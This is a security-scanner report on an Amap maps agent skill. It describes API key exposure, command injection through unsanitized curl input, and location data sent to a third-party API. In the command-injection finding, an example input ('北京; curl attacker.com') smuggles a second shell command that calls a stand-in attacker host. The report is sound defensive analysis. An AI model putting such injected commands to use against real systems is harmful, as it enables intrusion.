amap

ISSUES FOUND max severity HIGHSkillSpector Safe 0 registry clawhub.ai last scanned 1 scan

3 findings (1 high, 2 medium), mainly data exfiltration, command injection. Most recent scan 2026-02-05.

This Amap (高德地图) skill presents MODERATE to HIGH security risks primarily related to API key management and input handling. The most critical issues are: (1) Hardcoded API key exposure through environment variables and URL query parameters, making keys visible in logs, shell history, and network traffic, (2) Command injection vulnerabilities due to unsanitized user input being directly interpolated into shell commands, and (3) Privacy concerns from sending user location data to third-party APIs without disclosure. The skill lacks basic security controls like input validation, URL encoding, and secure credential management. While functional for its intended purpose, it requires significant security hardening before production use. The missing optional metadata fields are informational only and do not constitute security vulnerabilities.

Scanner's overall assessment (LLM analyzer)

Second scanner: NVIDIA SkillSpector

The two scanners disagree: Cisco rates this HIGH and SkillSpector found nothing. Check the false-positive register; signature matches on documentation are the usual cause. How the two scanners compare across the whole corpus: Two scanners, one corpus.

What this skill does

使用高德地图Web服务API进行地点搜索、天气查询和路线规划。

Package
1 file, 3.0 KB
SKILL.md
157 words, 12+ sections
Code
None. Instructions only.
Requires
bins: curl
Homepage
https://lbs.amap.com/

SKILL.md covers: 高德地图 (Amap) · 何时使用 (触发条件) · 核心功能与用法 · 1. 天气查询 · 将 [城市adcode] 替换为实际的行政区编码, 例如北京是 110000 · 将 [城市adcode] 替换为实际的行政区编码 · 2. 地点搜索 (POI) · 将 [关键词] 和 [城市] 替换为用户提供的内容 · 3. 驾车路径规划 · 将 [起点经纬度] 和 [终点经纬度] 替换为实际坐标,格式为 "经度,纬度" · 4. 地理编码 (地址 → 坐标) · 将 [地址] 替换为用户提供的地址

Findings

HIGH Hardcoded API Key Exposure via Environment Variable Data Exfiltrationllm

The skill requires users to set their Amap API key as an environment variable (AMAP_KEY) which is then directly embedded in curl commands. This creates multiple security risks: (1) API keys exposed in shell history, (2) Keys visible in process listings, (3) No validation or sanitization of the key, (4) Keys transmitted in URLs (query parameters) rather than headers, making them visible in logs and network traffic. The skill provides no guidance on secure key management, rotation, or access controls.

SKILL.md

```bash
export AMAP_KEY="你的Web服务API Key"
```
All curl commands use: `key=$AMAP_KEY` in URL query parameters
Remediation: 1. Use header-based authentication instead of query parameters. 2. Implement key validation and sanitization. 3. Add warnings about key security and rotation. 4. Consider using a secure credential store instead of environment variables. 5. Document proper key scoping and access controls. 6. Warn users about shell history exposure.
MEDIUM Command Injection Risk via Unsanitized User Input Command Injectionllm

All curl commands directly interpolate user-provided input (keywords, addresses, city names, coordinates) into URLs without any validation, sanitization, or encoding. An attacker could inject shell metacharacters or additional curl parameters through user input. For example, a malicious user could provide input like: '北京; curl attacker.com' or use backticks/command substitution. While the instructions show placeholder syntax [关键词], there's no guidance on proper input validation or URL encoding.

SKILL.md

Examples of vulnerable patterns:
```bash
curl "https://restapi.amap.com/v3/place/text?key=$AMAP_KEY&keywords=[关键词]&city=[城市]"
curl "https://restapi.amap.com/v3/geocode/geo?key=$AMAP_KEY&address=[地址]"
```
No input validation or URL encoding specified
Remediation: 1. Implement strict input validation for all user-provided parameters. 2. Use proper URL encoding for all query parameters. 3. Add explicit instructions to sanitize user input before substitution. 4. Consider using curl's --data-urlencode option. 5. Validate coordinate formats, city names, and keywords against expected patterns. 6. Add examples showing proper escaping techniques.
MEDIUM Potential Data Leakage via Third-Party API Data Exfiltrationllm

The skill sends user queries (location searches, addresses, routes) to Amap's external API servers without any privacy warnings or data handling disclosure. Users may unknowingly expose sensitive location data, travel patterns, or personal addresses to a third-party service. There's no information about: (1) What data Amap collects, (2) How long it's retained, (3) Whether it's shared with other parties, (4) Compliance with privacy regulations (GDPR, CCPA). The skill also lacks any mechanism to anonymize or minimize data sent to the API.

SKILL.md

All API calls send user data to restapi.amap.com:
- Location searches with keywords
- Specific addresses for geocoding
- Route planning with origin/destination
- Weather queries with city codes
No privacy warnings or data handling documentation provided
Remediation: 1. Add clear privacy warnings about data sent to third-party APIs. 2. Document Amap's data retention and privacy policies. 3. Provide guidance on minimizing sensitive data exposure. 4. Consider implementing local caching to reduce API calls. 5. Add opt-in consent mechanisms for sensitive queries. 6. Document compliance requirements for different jurisdictions.

What is in the package

FileKindSize
SKILL.mddoc3.0 KB

External hosts referenced

restapi.amap.com lbs.amap.com

Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.

Environment variables referenced

AMAP_KEY

Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.

What we checked

What we did not check

Sources